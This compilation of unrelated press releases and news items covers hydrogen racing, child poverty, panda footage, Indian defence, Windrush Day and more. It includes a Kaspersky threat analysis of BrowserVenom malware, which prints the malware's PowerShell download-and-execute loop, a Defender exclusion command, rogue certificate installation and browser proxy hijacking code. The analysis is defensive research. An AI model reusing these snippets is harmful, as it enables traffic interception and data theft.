Source: Toyota
Headline: TOYOTA GAZOO Racing unveils liquid hydrogen-fueled “GR LH2 Racing Concept” at Le Mans
TOYOTA GAZOO Racing has unveiled the GR LH2 Racing Concept, a liquid hydrogen (LH2) fueled test car to advance the development of hydrogen technology in motorsports. It made its public debut at the Circuit de la Sarthe where it is being exhibited at the H2 Village, organized by the Automobile Club de l’Ouest, during the 93rd Le Mans 24 Hours (11-15 June).
Source: Scotland – City of Perth
The estimates for the year 2023-2024 show that just under one in five children (19.2%) is living in relative poverty after housing costs, compared to 21.7% in the previous year. There has also been a reduction for those living in relative poverty before housing costs from 14.5% to 13.3%, or one in eight children. In a national comparison, child poverty is reducing in Perth and Kinross at a faster rate compared to Scotland as a whole.
Rising housing costs remain the biggest issue for many families and as the statistics show, progress on reducing child poverty is being impacted, with just under 2000 children experiencing poverty as a direct result of these costs.
The figures are linked in with details of the actions taken to tackle and mitigate the effects of poverty from early learning and childcare provision and support enabling parents to return to employment, to a range of measures to mitigate housing costs, including the building of new affordable housing together with local housing associations, energy saving advice and support, physical improvements to properties. and financial and benefits advice.
Perth and Kinross Council Leader Councillor Grant Laing said: “These figures show an important improvement in poverty levels in Perth and Kinross, which I very much welcome, but 5,155 children in poverty is still too many by any standards. Through the support and services the Council delivers, and partnership working overseen via the Anti-Poverty Task Force, the steps being taken are making positive changes for the children and families most in need in Perth and Kinross.
“As a Council our decisions to prioritise tackling poverty are a key contributor to improving our residents’ circumstances, and we remain committed to this approach. Alongside this, it should be recognised that there are also factors outwith the Council’s control that continue to impact households in and at risk of poverty.”
Chair of the Perth and Kinross Anti-Poverty Task Force, and Chief Executive of PKAVS, Shaheena Din commented: “It’s encouraging to see a reduction in child poverty across Perth and Kinross. This progress is a success. But we can’t be complacent. Every statistic represents a child’s life, and we know that too many families are still struggling. As a taskforce, we remain focused on listening, learning, and acting together to ensure that every child has the opportunity to thrive.”
Further details of the 2023-2024 data is available on our website at Elected Member Briefing – Child Poverty Estimates 2023-2024.
Translation. Region: Russian Federal
Source: People’s Republic of China in Russian – People’s Republic of China in Russian –
Source: People’s Republic of China – State Council News
LANZHOU, June 11 (Xinhua) — An infrared camera at the Giant Panda National Park in northwest China’s Gansu Province has captured rare footage of two wild giant pandas.
The footage shows a female panda with a protruding mouth and round cheeks marking her territory and leaving her scent in front of the camera on February 23. A male panda with yellow spots on his shoulders later picked up her scent and soon found her. The pair then engaged in mating games in the snow.
Wild giant pandas typically go into heat from March to May. “The fact that these wild pandas were mating in February fills a gap in our understanding of the breeding season of wild giant pandas,” said Yin Feng, head of the Liujiaping Guard Station of the Baishuijiang Division Administration of the park.
This shows that the wild giant panda population in the Baishuijiang site is stable and healthy, he added.
The Baishuijiang Section of the Giant Panda National Park, located in southern Gansu Province, serves as a sanctuary for wild giant pandas and coexisting species. According to the fourth national giant panda census released in 2015, there were 132 wild giant pandas in Gansu Province, 110 of which were in the Baishuijiang Section. -0-
Translation. Region: Russian Federal
Source: People’s Republic of China in Russian – People’s Republic of China in Russian –
Source: People’s Republic of China – State Council News
BEIJING, June 11 (Xinhua) — Former Kuomintang Party Chairman Ma Ying-jeou will visit the Chinese mainland from June 14 to 27, Zhu Fenglian, spokesperson for the Taiwan Affairs Office of the State Council, said on Wednesday.
Ma Ying-jeou will lead a delegation of Taiwanese youth to visit Fujian Province (Eastern China) and Gansu Province (Northwestern China), Zhu Fenglian said at a regular press conference.
The delegation will attend the 17th Taiwan Strait Forum in Fujian Province. In Gansu Province, they will attend a commemoration ceremony for Fuxi, the legendary ancestor of the Chinese nation, and an event dedicated to promoting Chinese culture through joint efforts across the Taiwan Strait.
“We welcome Mr. Ma Ying-jeou’s upcoming visit and are ready to take organizational measures and provide all necessary amenities,” Zhu Fenglian noted.
The official representative drew attention to the importance of maintaining cross-shore exchanges and cooperation in the context of the complex and serious situation in the Taiwan Strait. “As always, we invite representatives of all circles of Taiwanese society and compatriots from the island to visit the mainland more often – to visit and communicate, to jointly preserve and develop the best traditional Chinese culture, and to contribute to the great revival of the Chinese nation,” she said. -0-
Translation. Region: Russian Federal
Source: People’s Republic of China in Russian – People’s Republic of China in Russian –
Source: People’s Republic of China – State Council News
Xinhua | 11.06. 2025
Keywords: China
Source: Xinhua
Lightning: There are no winners in trade wars, China does not seek conflict, but will not allow itself to be intimidated – Vice Premier of the State Council of China Lightning: There are no winners in trade wars, China does not seek conflict, but will not allow itself to be intimidated – Vice Premier of the State Council of China
Translation. Region: Russian Federal
Source: People’s Republic of China in Russian – People’s Republic of China in Russian –
Source: People’s Republic of China – State Council News
Xinhua | 11.06. 2025
Key words: China-USA
Source: Xinhua
Lightning: Vice Premier of the State Council of the People’s Republic of China calls on China and the United States to fulfill their commitments and act on the basis of consensus to preserve the hard-won results of the dialogue Lightning: Vice Premier of the State Council of the People’s Republic of China calls on China and the United States to fulfill their commitments and act on the basis of consensus to preserve the hard-won results of the dialogue
Source: Government of India
Source: Government of India (4)
As the Prime Minister Narendra Modi-led NDA government completes 11 years in office, India’s defence sector marks a decade-long shift towards self-reliance, driven by focused policy interventions, enhanced budget allocations, and institutional reforms.
The defence budget has increased from ₹2.53 lakh crore in 2013–14 to ₹6.81 lakh crore in 2025–26. The sharp rise in allocations reflects a sustained push towards capacity building and indigenisation in the sector. Over the years, a strong emphasis has been placed on developing a domestic ecosystem that supports manufacturing, innovation, and exports.
In 2023–24, India registered its highest-ever defence production, reaching ₹1.27 lakh crore. This marks a 174 percent increase over the ₹46,429 crore recorded in 2014–15. The growth is attributed to policies promoting indigenous manufacturing and procurement.
The Ministry of Defence signed 193 contracts worth ₹2,09,050 crore in 2024–25, the highest recorded in a single financial year. Of these, 177 contracts were awarded to domestic industries, accounting for ₹1,68,922 crore. This aligns with the government’s priority for domestic procurement under the Defence Acquisition Procedure 2020.
To support defence manufacturing infrastructure, two dedicated Defence Industrial Corridors have been established in Uttar Pradesh and Tamil Nadu. As of February 2025, these corridors have attracted investments worth ₹8,658 crore, with 253 Memorandums of Understanding signed. The total investment potential is estimated at ₹53,439 crore.
The government has released five Positive Indigenisation Lists, covering over 5,500 items. As of February 2025, 3,000 of these items had been indigenised. The lists include key technologies such as artillery guns, assault rifles, radars, light combat helicopters, armoured platforms, and communication systems.
Innovations for Defence Excellence (iDEX), launched in April 2018, has played a central role in promoting innovation. Grants of up to ₹1.5 crore have been extended to startups, MSMEs, and research entities. As of February 2025, 549 problem statements have been published, with 430 contracts signed involving 619 participants. The armed forces have procured 43 items worth over ₹2,400 crore from iDEX-supported firms.
For the financial year 2025–26, ₹449.62 crore has been allocated to iDEX, including its sub-scheme ADITI (Acing Development of Innovative Technologies with iDEX).
Among infrastructure initiatives, the Defence Testing Infrastructure Scheme (DTIS) aims to support the creation of eight greenfield testing and certification facilities. Seven of these have already been approved, focusing on domains such as electronic warfare, unmanned systems, and communication technologies.
Foreign Direct Investment (FDI) in the defence sector was liberalised in September 2020. The policy now permits up to 74 percent FDI through the automatic route and more than 74 percent through the government route. Since April 2000, the sector has received FDI worth ₹5,516.16 crore.
The Tata Aircraft Complex, inaugurated in October 2024 in Vadodara, is manufacturing C-295 transport aircraft. Of the 56 aircraft under the programme, 40 are being built in India.
Manthan, an annual innovation event held during Aero India 2025 in Bengaluru, has continued to provide a platform for collaboration among startups, academia, and defence stakeholders.
For 2025–26, the Ministry of Defence has allocated 75 percent of its modernisation budget—₹1,11,544 crore—for procurement from domestic sources, reinforcing its focus on building an indigenous defence industrial base.
Source: City of Wolverhampton
Celebrated annually, Windrush Day honours the contributions which the Windrush generation and their descendants have made to British society.
It commemorates the arrival of the MV Empire Windrush at Tilbury Docks in 1948, bringing passengers from the Caribbean to the UK – an event which marked the beginning of significant migration from the Caribbean which enriched British culture and society.
Dignitaries and members of the public will gather for a flag raising ceremony outside the Civic Centre on Sunday 22 June at 10.30am, which will feature speeches from representatives of the Windrush community, the Mayor of Wolverhampton Craig Collingswood and the Deputy Lord Lieutenant of the West Midlands, Sandra Samuels OBE, who in 2022 became the first person of African-Caribbean heritage to become Mayor of Wolverhampton.
There will then follow a special event at Wolverhampton Art Gallery introduced by Lord Lieutenant Derrick Anderson CBE where a bust of Mel Chevannes, created as part of a community led project, will be unveiled.
Mel, who will be in attendance next weekend, was elected to Graiseley Ward in 1981 and served as a local councillor for 11 years, chairing the Social Services Committee in 1982. She later became the first African-Caribbean chairperson of The Royal Wolverhampton NHS Trust.
She said: “I am humbled to be honoured by a bronze bust in the city of Wolverhampton, which has been my home for the last 50 years. I am proud to be recognised for my professional, community and educational contributions to this wonderful city.
“It is truly amazing that this is the first such public recognition in England of a black woman who is very much alive.”
Visitors to the gallery will also have the opportunity to view a temporary exhibition about Mel’s life, achievements and contribution to the city.
Mayor Councillor Collingswood said: “We are delighted to play our part in highlighting an important time in our history – and to celebrate the impact that the Windrush generation, and individuals such as Mel Chevannes, have had on our city and our nation.
“Everyone is welcome to join us for the flag raising and the unveiling, and I hope that as many residents as possible are able to come along and help us celebrate Windrush Day 2025.”
Translation. Region: Russian Federal
Source: State University Higher School of Economics – State University Higher School of Economics –
Researchers from the National Research University Higher School of Economics have found that being aware of oneself as part of a country can be psychologically helpful during difficult times, especially if a person is inclined to rethink what is happening or turn to spiritual and cultural values. Rethinking, among other things, can somewhat reduce the level of depression.Studypublished in the Journal of Community Psychology.
Crisis situations – economic, social or personal – inevitably affect the psyche. But why do some people adapt and cope with pressure more easily, while others lose their footing? To answer this question, HSE researchers conducted a sociological study. They found out whether respondents rethink what is happening, whether they turn to religion, rely on help from family, neighbors or social services, or simply wait until everything passes. The survey involved 384 people aged 18 to 54 from different regions of Russia.
It turned out that people who feel more part of society cope better with psychological difficulties on average. They more often use strategies that help them adapt to change — primarily rethinking (the ability to find meaning in what is happening) and spiritual support (turning to religion, traditions, personal values).
Interestingly, civic identity did not directly reduce depression, but it did help cope. People who perceived difficulties as a challenge and tried to rethink what was happening felt more resilient. But passively waiting for improvements, on the contrary, increased symptoms of depression. At the same time, people who felt a strong connection to their country were much less likely to choose a passive strategy.
The study also found that in the Russian context, not only personal but also family support is important. Many people find that joint actions help – discussions with loved ones, mutual assistance, joint planning. This supports the idea that Russian culture places great importance on collective care, and that family becomes a support in difficult times.
“Psychological resources are not only internal stability, but also a sense of connection with others, belonging to a community. Civic identity is one of these resources. In conditions of instability and threats, it helps maintain support and includes familiar coping strategies: rethinking the situation and turning to spiritual values. These observations can be useful for specialists who support people in periods of uncertainty and change,” says the director. Center for Sociocultural ResearchHSE University Alexander Tatarko.
Please note: This information is raw content directly from the source of the information. It is exactly what the source states and does not reflect the position of MIL-OSI or its clients.
Source: International Organization for Migration (IOM)
Yaoundé, May 20, 2025 – The International Organization for Migration (IOM), alongside the Ministry of Youth and Civic Education (MINJEC), supported the participation of 81 voluntary returnees in the parade for the 53rd edition of Cameroon’s National Unity Day. This is a first in the history of this national event. The initiative is part of the “Citizen and Patriotic Migration” program, supported by IOM, in response to the call made by the President of the Republic, H.E. Paul Biya, in response to the rise in irregular youth migration.
The group, composed of 69 men and 12 women migrants who chose to return voluntarily, they were support by IOM to return home, and are currently being guided toward sustainable reintegration. By participating in this national parade, they sent a strong message in favour of resilience, civic-mindedness, and safe and orderly migration. Carrying posters with messages such as “No to Migration at All Costs” and “Circular Migration: A Pillar for Development,” these young Cameroonians expressed their commitment to voluntary return and successful reintegration.
“It was more than a parade. It was a way to find myself, to show that I can still accomplish great things,” said Bernadette, one of the twelve women who participated in the parade.
Participation in the national parade helped promote these voluntary return journeys, by facilitating social integration through dialogue with other groups and fostering a reconnection with civic values.
According to Mr Abdel Rahmane DIOP, IOM Chief of Mission in Cameroon: “Seeing these migrants marching at the National Unity Day celebrations sends a strong signal: migration concerns us all. Their presence demonstrates the need to strengthen collective action, led by the highest authorities, so that every ministry and every stakeholder contributes to coordinate inclusive migration governance that inspires pride for the migrants themselves”. Staying, building, and succeeding here is possible.”
This initiative showcases the potential of better-managed migration and highlights the role that young people and returning migrants can play in their communities. Since 2020, more than 10,000 Cameroonians have benefited from assisted voluntary return and reintegration support through programs implemented by IOM in Cameroon. This figure, equivalents to nearly seven departures per day, underlining the urgent need to strengthen preventive actions: information, support, and the creation of concrete alternatives to irregular migration.
IOM reaffirms its commitment to supporting the efforts of the Cameroonian authorities, and its partners to promote safe, orderly, and regular migration. Sustainable reintegration, social cohesion, and the development of local opportunities remain at the heart of its efforts, to transform migration pathways into vectors of individual and collective development.
***
For more information, please contact :
In Dakar: Joelle FURRER, IOM Regional Office for West and Central Africa, jfurrer@iom.int
In Cameroon: Elodie NDEME BODOLO, IOM Office in Yaoundé, endeme@iom.int
Source: Hong Kong Government special administrative region
LCQ2: Developing Hong Kong into international education hub
Question:
The Government is now establishing the “Study in Hong Kong” brand to develop Hong Kong into an international hub for education. There are views pointing out that with the robust development of local basic education and the extensive recognition of the Hong Kong Diploma of Secondary Education Examination qualification, primary and secondary schools are well-positioned to admit non-local students amid the continuing decline in the number of students. At present, however, entry for non-local students to study in Hong Kong’s public or aided primary and secondary schools (other than English Schools Foundation (ESF) schools and Direct Subsidy Scheme (DSS) schools) is not permitted. In this connection, will the Government inform this Council:
(1) of the respective numbers of minor students coming to Hong Kong on student visas to study in private primary and secondary schools, ESF schools, and DSS primary and secondary schools over the past three school years, as well as the distribution of their years of study;
(2) whether it will consider drawing on the practices of other countries to relax the eligibility criteria for student visas, so as to allow non-local minor students entry into Hong Kong to study in public or aided primary and secondary schools, as well as introducing student guardian visas for their parents to stay in Hong Kong and engage in time-limited employment; and
(3) whether it will consider encouraging private enterprises or educational institutions to establish additional student hostels or overseas students’ apartments to provide accommodation and ancillary services suitable for students of different ages, as well as establishing corresponding licensing and registration regimes?
Reply:
President,
The Chief Executive announced in the 2024 Policy Address that the Government would promote the development of an international hub for post-secondary education by establishing the “Study in Hong Kong” brand as well as pooling together and nurturing excellent global talents. The policy is built on the foundation that Hong Kong’s universities enjoy an international reputation. Among our eight public universities, five are ranked among the world’s top 100 and six within Asia’s top 50, and four are among the top ten on the list of the most international universities in the world. The internationalisation and diversity of our post-secondary education attract outstanding talents from all over the world to Hong Kong for further studies and research. Meanwhile, the National 14th Five-Year Plan supports Hong Kong as a development centre in eight key areas (“eight centres”), the Education Bureau (EDB) has been proactively encouraging post-secondary education institutions to develop more related applied degree programmes to complement with the talent backing for the “eight centres”. At the same time, we are also committed to promoting the “Study in Hong Kong” brand, developing Hong Kong into an international education hub, attracting outstanding talent from all over the world in all aspects to enrich the local talent pool.
Regarding our basic education, under the “one country, two systems”, Hong Kong has the distinctive advantages of enjoying strong support of the motherland and being closely connected to the world. We have been providing 12-year free and quality primary and secondary education to all local children through public sector schools, and parents of local children are offered with diversified choices. Meanwhile, non-local children can study in non-public sector schools, including international schools, private schools and Direct Subsidy Scheme schools, on a self-financing basis. These arrangements aim to ensure a reasonable balance between the supply and demand of school places in basic education in the relevant arrangements, while achieving prudent use of public funds. In fact, Hong Kong’s diversified and quality school education system has long been ranked among the top in international education comparative studies.
Having consulted the Security Bureau and the Immigration Department (ImmD), our reply to the question raised by the Hon Chu Kwok-keung is as follows:
(1) In the past three years (2022 to 2024), a total of 1 686 applications for student visa/entry permit were approved by the ImmD for non-local children aged 17 or below coming to Hong Kong for education (see Annex). The ImmD and the EDB do not keep statistics on the types of schools admitting these students.
(2) The Government is committed to developing a vibrant international school sector to meet the demand for education from non-local families living in Hong Kong as well as children of families coming to Hong Kong for work or investment. International schools operate on a self-financing and market-driven basis and belong to the private school sector. They have been enjoying the flexibility, including the medium of instruction, curriculum arrangements, public examinations, etc, and they are not subsidised by public funds for daily operation, providing diversified choices for local parents, while offering school places to non-local children who pay school fees at their own expense under the “user pays” principle. As seen from the figures provided by the ImmD over the past three years, there have been hundreds non-local children aged from five years eight months to 17 years being approved with study visa/entry permit to come to Hong Kong for education annually. We will closely keep in view the demand for school places from non-local children, conduct dynamic assessments of the demand and supply of school places, create conditions in a timely manner, and launch policy measures to adjust the supply of school places including supporting the development of non-profit-making private schools offering non-local curriculum through the school allocation exercise. Meanwhile, we will proactively explore the feasibility of facilitating non-local students to come to Hong Kong to study in non-public sector schools on a self-financing basis.
As the goal of public sector schools is to provide 12-year quality and free primary and secondary education to eligible children to meet the educational needs of local children, we adopt mother-tongue teaching. The medium of instruction, curriculum arrangements, public examination (i.e. Hong Kong Diploma of Secondary Education Examination), etc in public sector schools are based on the learning needs of local children.
Therefore, for public sector schools, the Government has always been devoting substantial resources to public sector schools in providing quality education to students over the years, meeting the different learning needs of students in an all-round way, including catering for the learning diversity for students with special educational needs and non-Chinese speaking students with the provision of additional learning support and complementary measures. Public sector schools are publicly funded at full costs, offer local curriculum and serve local children. It ensures the prudent use of public funds and fair allocation of educational resources, and benefit local children.
At present, the parallel development of the public sector schools and non-public sector schools not only caters for the learning needs of the children of different stakeholders, but also achieves the purpose of prudent use of public funds and an appropriate allocation of resources. Therefore, the policy meets Hong Kong’s actual circumstances.
(3) In general, the boarding services provided by different types of schools are mainly aimed at enriching local students’ learning experiences, and cater for the residential needs of a small number of non-local students. At present, there are a total of 16 publicly-funded and private ordinary primary and secondary schools across the territory, which provide boarding services offering about 3 500 boarding places altogether. If individual schools have needs, and the premises and space allow, they can submit applications to the EDB to provide boarding facilities on a self-financing basis. We will consider the applications based on the actual needs. The facilities and management of boarding schools should comply with the relevant stipulations such as the Education Regulations (Cap. 279A). The accommodation arrangements outside schools should also comply with all relevant laws and requirements. The EDB will closely monitor the residential needs of non-local students, including the boarding facilities provided by different types of schools, and maintain communication with the education sector and relevant government departments to review the related arrangements in a timely manner.
President, education is the key to a hundred-year plan. While being open to different views, the EDB will carefully consider each and every policy initiative to maintain the strengths of Hong Kong education, orderly promote the development of an international hub for post-secondary education, and strengthen the high quality development of education in Hong Kong.Issued at HKT 17:53
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Source: Murray Darling Basin Authority
In my first week as Minister for Early Childhood Education, I stopped in to meet educators and children at a busy early learning centre.
22-year-old Talitha told me with a big smile, “I can finally see a future.”
She was talking about our 15 per cent pay rise, one of the key pillars of building universal early education in Australia.
With a prime minister who wants to be remembered for universal childcare, and a 57 per cent majority women government, early education is not just on the agenda, it is already in motion.
For too long, early childhood educators have loved their work – work that builds the foundations of learning and development for our youngest Australians – but love doesn’t pay the bills.
Educators like Talitha, who once juggled multiple jobs just to get by, now have stability and a vision for a future in the sector.
“I’m now able to significantly save,” Talitha shares, following the first installment of the pay boost.
“It helped with my mortgage, and it means less stress at the supermarket – I can buy the brand names!”
And the first pay installment is also a catalyst for broader change in the sector.
Already online job advertisement rates are down 28 per cent in the past 12 months.
With increased wages and recognition, educators like Talitha are able to stay in the sector they love.
For too long, workforce turnover has been high.
As Talitha explains, “people love the children, but other jobs pay better – so that’s why they leave.”
“When staff change, it’s stressful for the workers, and it’s not good for the kids.”
Better pay means higher retention for the profession, creating a steady environment and better outcomes for children and families.
And creating a stable workforce paves the way for our plans to expand access to quality early education, starting with our 3 Day Guarantee.
Today some families are locked out of early learning due to work and study requirements.
The 3 Day Guarantee will replace this activity test to provide at least three days of subsidies for early education for families who need it.
And our Cheaper Child Care policy is already delivering more affordable education for more than one million Australian families.
Alongside this, the Government is investing over $1 billion in the Building Early Education Fund, to build and expand in areas of need, including in the outer suburbs and regional Australia.
These centres will be co-located on school sites wherever possible and run by high quality non-profit providers.
Talitha welcomes this investment, explaining “it’s important children have access to education at this stage in their life – so that when they grow up, they can have the same opportunities and same outcomes as everyone else.”
As early education services expand, quality will be at the forefront.
While the vast majority of services meet or exceed quality standards, a small number of operators fail to provide quality care and a safe environment.
“This job is about caring for children, and it’s about giving children the best start in life, so when people don’t do that, it makes me feel betrayed,” Talitha says.
There is no place for providers who put profit over children’s safety in this sector.
That is why we will strengthen Commonwealth powers to prevent providers that persistently fail to meet minimum standards from expanding, and to restrict their access to the Child Care Subsidy when appropriate.
We want to make sure that families can feel confident sending their children to early education knowing that providers are offering quality and safety.
As Minister, I’m looking forward to the work ahead in building the pillars of universal early education.
So, we can build a sector where children have universal access to high quality early learning no matter their postcode, and where dedicated educators like Talitha can flourish.
Source: Securelist – Kaspersky
Headline: Toxic trend: Another malware threat targets DeepSeek
DeepSeek-R1 is one of the most popular LLMs right now. Users of all experience levels look for chatbot websites on search engines, and threat actors have started abusing the popularity of LLMs. We previously reported attacks with malware being spread under the guise of DeepSeek to attract victims. The malicious domains spread through X posts and general browsing.
But lately, threat actors have begun using malvertising to exploit the demand for chatbots. For instance, we have recently discovered a new malicious campaign distributing previously unknown malware through a fake DeepSeek-R1 LLM environment installer. The malware is delivered via a phishing site that masquerades as the official DeepSeek homepage. The website was promoted in the search results via Google Ads. The attacks ultimately aim to install BrowserVenom, an implant that reconfigures all browsing instances to force traffic through a proxy controlled by the threat actors. This enables them to manipulate the victim’s network traffic and collect data.
The infection was launched from a phishing site, located at https[:]//deepseek-platform[.]com. It was spread via malvertising, intentionally placed as the top result when a user searched for “deepseek r1”, thus taking advantage of the model’s popularity. Once the user reaches the site, a check is performed to identify the victim’s operating system. If the user is running Windows, they will be presented with only one active button, “Try now”. We have also seen layouts for other operating systems with slight changes in wording, but all mislead the user into clicking the button.
Clicking this button will take the user to a CAPTCHA anti-bot screen. The code for this screen is obfuscated JavaScript, which performs a series of checks to make sure that the user is not a bot. We found other scripts on the same malicious domain signaling that this is not the first iteration of such campaigns. After successfully solving the CAPTCHA, the user is redirected to the proxy1.php URL path with a “Download now” button. Clicking that results in downloading the malicious installer named AI_Launcher_1.21.exe from the following URL: https://r1deepseek-ai[.]com/gg/cc/AI_Launcher_1.21.exe.
We examined the source code of both the phishing and distribution websites and discovered comments in Russian related to the websites’ functionality, which suggests that they are developed by Russian-speaking threat actors.
The malicious installer AI_Launcher_1.21.exe is the launcher for the next-stage malware. Once this binary is executed, it opens a window that mimics a Cloudflare CAPTCHA.
This is another fake CAPTCHA that is loaded from https[:]//casoredkff[.]pro/captcha. After the checkbox is ticked, the URL is appended with /success, and the user is presented with the following screen, offering the options to download and install Ollama and LM Studio.
Clicking either of the “Install” buttons effectively downloads and executes the respective installer, but with a caveat: another function runs concurrently: MLInstaller.Runner.Run(). This function triggers the infectious part of the implant.
|
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private async void lmBtn_Click(object sender, EventArgs e) { try { MainFrm.c__DisplayClass5_0 CS$8__locals1 = new MainFrm.c__DisplayClass5_0(); this.lmBtn.Text = “Downloading..”; this.lmBtn.Enabled = false; Action action; if ((action = MainFrm.O.0>__Run) == null) { action = (MainFrm.O.0>__Run = new Action(Runner.Run)); # } Task.Run(action); CS$8__locals1.ollamaPath = Path.Combine(Path.GetTempPath(), “LM-Studio-0.3.9-6-x64.exe”); [...] |
When the MLInstaller.Runner.Run() function is executed in a separate thread on the machine, the infection develops in the following three steps:
The AES encryption information is hardcoded in the implant:
| Type | AES-256-CBC |
| Key | 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 |
| IV | 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 |
The decrypted buffer contains a PowerShell command that performs the exclusion once executed by the malicious function.
|
1 |
powershell.exe –inputformat none –outputformat none –NonInteractive –ExecutionPolicy Bypass –Command Add–MpPreference –ExclusionPath $USERPROFILE |
It should be noted that this command needs administrator privileges and will fail in case the user lacks them.
%USERPROFILE%Music1.exe under the user’s profile and then executed.
};
if ([Runtime.InteropServices.RuntimeEnvironment]::GetSystemVersion() – match”^v2″) {
[IO.File]::WriteAllBytes(“$env:USERPROFILEMusic1.exe”, $b);
Start – Process “$env:USERPROFILEMusic1.exe” – NoNewWindow
} else {
([Reflection.Assembly]::Load($b)).EntryPoint.Invoke($null, $null)
}
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$ap = “/api/getFile?fn=lai.exe”; $b = $null; foreach($i in 0..1000000) { $s = if ($i – gt 0) { $i } else { “” }; $d = “https://app-updater$s.app$ap”; $b = (New – Object Net.WebClient).DownloadData($d); if ($b) { break } }; if ([Runtime.InteropServices.RuntimeEnvironment]::GetSystemVersion() – match“^v2”) { [IO.File]::WriteAllBytes(“$env:USERPROFILEMusic1.exe”, $b); Start – Process “$env:USERPROFILEMusic1.exe” – NoNewWindow } else { ([Reflection.Assembly]::Load($b)).EntryPoint.Invoke($null, $null) } |
At the moment of our research, there was only one domain in existence: app-updater1[.]app. No binary can be downloaded from this domain as of now but we suspect that this might be another malicious implant, such as a backdoor for further access. So far, we have managed to obtain several malicious domain names associated with this threat; they are highlighted in the IoCs section.
MLInstaller.Runner.Run() function locates a hardcoded stage two payload in the class and variable ConfigFiles.load of the malicious installer’s buffer. This executable is decrypted with the same AES algorithm as before in order to be loaded into memory and run.We dubbed the next-stage implant BrowserVenom because it reconfigures all browsing instances to force traffic through a proxy controlled by the threat actors. This enables them to sniff sensitive data and monitor the victim’s browsing activity while decrypting their traffic.
First, BrowserVenom checks if the current user has administrator rights – exiting if not – and installs a hardcoded certificate created by the threat actor:
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[...] X509Certificate2 x509Certificate = new X509Certificate2(Resources.cert); if (RightsChecker.IsProcessRunningAsAdministrator()) { StoreLocation storeLocation = StoreLocation.LocalMachine; X509Store x509Store = new X509Store(StoreName.Root, storeLocation); x509Store.Open(OpenFlags.ReadWrite); x509Store.Add(x509Certificate); [...] |
Then the malware adds a hardcoded proxy server address to all currently installed and running browsers. For Chromium-based instances (i.e., Chrome or Microsoft Edge), it adds the proxy-server argument and modifies all existent LNK files, whereas for Gecko-based browsers, such as Mozilla or Tor Browser, the implant modifies the current user’s profile preferences:
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[...] new ChromeModifier(new string[] { “chrome.exe”, “msedge.exe”, “opera.exe”, “brave.exe”, “vivaldi.exe”, “browser.exe”, “torch.exe”, “dragon.exe”, “iron.exe”, “epic.exe”, “blisk.exe”, “colibri.exe”, “centbrowser.exe”, “maxthon.exe”, “coccoc.exe”, “slimjet.exe”, “urbrowser.exe”, “kiwi.exe” }, string.Concat(new string[] { “–proxy-server=””, ProfileSettings.Host, “:”, ProfileSettings.Port, “”” })).ProcessShortcuts(); GeckoModifier.Modify(); [...] |
The settings currently utilized by the malware are as follows:
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public static readonly string Host = “141.105.130[.]106”; public static readonly string Port = “37121”; public static readonly string ID = “LauncherLM”; public static string HWID = ChromeModifier.RandomString(5); |
The variables Host and Port are the ones used as the proxy settings, and the ID and HWID are appended to the browser’s User-Agent, possibly as a way to keep track of the victim’s network traffic.
As we have been reporting, DeepSeek has been the perfect lure for attackers to attract new victims. Threat actors’ use of new malicious tooling, such as BrowserVenom, complicates the detection of their activities. This, combined with the use of Google Ads to reach more victims and look more plausible, makes such campaigns even more effective.
At the time of our research, we detected multiple infections in Brazil, Cuba, Mexico, India, Nepal, South Africa, and Egypt. The nature of the bait and the geographic distribution of attacks indicate that campaigns like this continue to pose a global threat to unsuspecting users.
To protect against these attacks, users are advised to confirm that the results of their searches are official websites, along with their URLs and certificates, to make sure that the site is the right place to download the legitimate software from. Taking these precautions can help avoid this type of infection.
Kaspersky products detect this threat as HEUR:Trojan.Win32.Generic and Trojan.Win32.SelfDel.iwcv.
d435a9a303a27c98d4e7afa157ab47de AI_Launcher_1.21.exe
dc08e0a005d64cc9e5b2fdd201f97fd6
Source: Isle of Man
The Isle of Man Financial Services Authority has published a guide to enhance awareness and understanding of Commercially Exposed Persons (“CEPs”).
A CEP is an individual associated with an industry or activity that typically has a higher exposure to bribery and corruption. This, in turn, may increase the money laundering, terrorist financing and proliferation financing risk posed to supervised entities where such individuals are affiliated to a customer.
The Authority’s guide provides examples of higher risk industries, further background about CEPs, and a breakdown of data which helps to inform topical and sector risk assessments, as well as the Island’s National Risk Assessment.
A visual guide is also provided to help firms to understand if a customer account or entity is associated with a Politically Exposed Person (“PEP”) or CEP.
Firms should consider the nature and activity of a customer, and connected persons, as part of their customer risk assessment in line with requirements of the AML/CFT Code 2019.
Source: The Conversation – UK – By Katherine Twamley, Professor of Sociology, UCL
UK campaign group The Dad Shift is staging a “dad strike” on June 11, to protest the poor paternity leave available to fathers in the UK. Fathers and other parents are being asked to “picket or pickup” – to leave work and join protests at government buildings, or use this time to do the school or nursery run.
My research suggests that a poor offer of leave for fathers means they do not believe either the UK government or their employers view their participation in childcare as important.
UK fathers can take up to two weeks’ leave at the time of the birth of their child, but it is paid well below the living wage. This leave is also only eligible to fathers who have been continuously employed by their employer for at least 26 weeks up to the 15th week before the baby is due.
Paternity leave was introduced in 2003, when maternity leave was extended from 18 to 26 and later 52 weeks. This has resulted in a stark inequality between mothers’ and fathers’ opportunity to take time with their new baby. The UK paternity leave offer also compares poorly against leave offered for fathers in other countries, ranking 40th out of 43 OECD countries
And despite the small amount of leave offered to fathers in the UK, only 59% actually take it. This is mostly due to the poor pay, but fathers also report facing pressure from work that inhibits their use of the leave options available to them.
Shared parental leave, introduced in 2015 throughout the UK, allows parents to share up to 50 weeks between them. But it has failed to alter parental leave patterns: only 5% of fathers take any shared parental leave.
The low remuneration offered – currently £187.18 a week, if taken within the first nine months, or no pay at all thereafter – again has affected how many men make use of this scheme. They may also feel they are “stealing” the mother’s leave, because a father taking shared parental leave means the mother has to go back to work sooner.
Read more:
Shared parental leave has failed because it doesn’t make financial or emotional sense
But it’s really important that fathers take time with their babies. When fathers take leave, there are multiple documented benefits for the family and beyond.
Dads’ time at home with their children can help establish a bond between father and child. Research has found that a father who spends time with his young baby, and does activities with them, is more likely to be an engaged parent as his child gets older. There are also potential improved developmental outcomes for children. These benefits are increased the more time fathers are able to spend with their children.
Mothers also benefit from having their partner off work and with them, particularly during the first weeks and months after giving birth.
I collected diary entries and held interviews with new parents about their parental leave. The difference that fathers taking extended paternity leave at the time of birth made to mothers was palpable. All these mothers reported a smoother and happier transition to parenthood.
